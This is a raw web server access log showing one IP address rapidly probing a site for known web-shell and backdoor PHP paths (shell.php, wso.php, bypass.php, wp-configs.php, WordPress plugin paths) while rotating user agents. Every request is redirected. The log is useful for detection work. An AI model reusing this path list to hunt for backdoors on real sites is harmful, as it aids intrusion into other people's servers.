"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.199.118.49 - - [25/Apr/2025:11:20:42 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 91.199.118.49 - - [25/Apr/2025:11:20:42 -0400] "GET /templatesdex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:43 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:43 -0400] "GET /.lu/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:43 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 91.199.118.49 - - [25/Apr/2025:11:20:43 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:43 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:20:44 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:20:44 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:44 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:20:44 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 91.199.118.49 - - [25/Apr/2025:11:20:45 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:45 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:20:45 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:20:45 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:46 -0400] "GET /eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 91.199.118.49 - - [25/Apr/2025:11:20:46 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 91.199.118.49 - - [25/Apr/2025:11:20:46 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:20:46 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:46 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:20:47 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:20:47 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:20:47 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:20:47 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:47 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:20:48 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:48 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:48 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:48 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:48 -0400] "GET /rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:49 -0400] "GET /wp-content/plugins/rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:49 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:49 -0400] "GET /.well-known/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:20:49 -0400] "GET /chosen.phppload HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:49 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:20:50 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 91.199.118.49 - - [25/Apr/2025:11:20:50 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:20:50 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 91.199.118.49 - - [25/Apr/2025:11:20:50 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:51 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 91.199.118.49 - - [25/Apr/2025:11:20:51 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.199.118.49 - - [25/Apr/2025:11:20:51 -0400] "GET /user/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:51 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 91.199.118.49 - - [25/Apr/2025:11:20:51 -0400] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 91.199.118.49 - - [25/Apr/2025:11:20:52 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 91.199.118.49 - - [25/Apr/2025:11:20:52 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:52 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:52 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:53 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:20:53 -0400] "GET /pgs.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:53 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:53 -0400] "GET /mjq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:53 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 91.199.118.49 - - [25/Apr/2025:11:20:54 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:20:54 -0400] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:54 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:20:55 -0400] "GET /.qiodeme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:55 -0400] "GET /ad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 91.199.118.49 - - [25/Apr/2025:11:20:55 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:55 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:56 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:56 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:56 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:57 -0400] "GET /Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:57 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:57 -0400] "GET /bv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:20:57 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.199.118.49 - - [25/Apr/2025:11:20:58 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:58 -0400] "GET /bk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 91.199.118.49 - - [25/Apr/2025:11:20:58 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:59 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:59 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.199.118.49 - - [25/Apr/2025:11:20:59 -0400] "GET /hj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:20:59 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:00 -0400] "GET /lp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:00 -0400] "GET /Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:00 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:01 -0400] "GET /yt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:01 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 91.199.118.49 - - [25/Apr/2025:11:21:01 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:02 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:02 -0400] "GET /.github/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:02 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:03 -0400] "GET /bn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:03 -0400] "GET /wordpress/update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:04 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 91.199.118.49 - - [25/Apr/2025:11:21:04 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:21:05 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:06 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 91.199.118.49 - - [25/Apr/2025:11:21:06 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:21:07 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:07 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:07 -0400] "GET /wp-admin/includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:08 -0400] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:08 -0400] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:08 -0400] "GET /wp-admin/css/colors/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:08 -0400] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:08 -0400] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:09 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:09 -0400] "GET /wp-content/themes/xc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:09 -0400] "GET /baxa1.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 91.199.118.49 - - [25/Apr/2025:11:21:09 -0400] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:10 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:10 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:10 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:10 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:11 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:11 -0400] "GET /wp-content/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:11 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 91.199.118.49 - - [25/Apr/2025:11:21:11 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:12 -0400] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:12 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:12 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:12 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:13 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:13 -0400] "GET /ff.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 